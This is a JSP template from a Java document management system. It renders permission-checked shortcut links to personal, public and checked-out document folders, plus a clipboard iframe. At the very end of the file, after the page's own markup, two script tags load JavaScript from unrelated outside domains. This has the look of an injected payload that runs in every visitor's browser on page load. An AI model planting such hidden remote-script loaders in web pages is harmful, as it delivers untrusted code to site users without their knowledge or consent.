<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listPersonalHomeForm" scope="request" class="com.dcivision.framework.web.ListPersonalHomeForm"/>
<%

  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String idName = request.getParameter("id") == null ? "channel" : request.getParameter("id");
  String width = request.getParameter("width") == null ? "100%" : request.getParameter("width");
  String height = request.getParameter("height") == null ? "100" : request.getParameter("height");
  String curFunctionCode = "DMS_PUBLIC_FOLDER";

  if(sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R")){
    curFunctionCode = "DMS_PERSONAL_FOLDER";
  }

  if(sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")){
    curFunctionCode = "DMS_PUBLIC_FOLDER";
  }


  List linkList = new ArrayList();
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  /****************************************************************************
   * Add Shortcuts here, firstly check the permission and then add a String
   * array to the list "linkList".
   * - 1st Item in Array = URL of the link
   * - 2nd Item is Array = Label of that link in ApplicationResources
   ****************************************************************************/

  // Personal Folder
  if(sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R")){
    String[] tmpAry = { request.getContextPath()+"/dms/ListDmsDocument.do",
                        "dms.label.personal_folder"
                      };
    linkList.add(tmpAry);
  }

  // Public Folder
  if (sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")){
    String[] tmpAry = { request.getContextPath()+"/dms/ListDmsPublicRoot.do",
                        "dms.label.public_folder"
                      };
    linkList.add(tmpAry);
  }

  // Public Folder
  if (sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")){
    String[] tmpAry = { request.getContextPath()+"/dms/ListDmsCheckOutDocument.do",
                        "dms.label.check_out_document"
                      };
    linkList.add(tmpAry);
  }
%>
<%
if(!Utility.isEmpty(linkList))
{
%>
<%for (int i = 0; i < linkList.size(); i++) {%>
<div class="shortcutItem"><a href="<%=((String[])linkList.get(i))[0]%>"><div class="shortcutName"><bean:message key='<%=((String[])linkList.get(i))[1]%>'/></div></a></div>
<%}%>
<%}%>
<div class="shortcutItem"><div class="shortcutNameClipboard">
  <table border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td>
      <iframe id="ClipBoardFrame" src="<%=request.getContextPath()%>/jsp/dms/IncludeClipBoard.jsp?cur_function_code=HOM" frameborder="0" margintop="0" scrolling="no" align="left"></iframe>
    </td>
  <tr>
  </table>
  </div>
</div>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>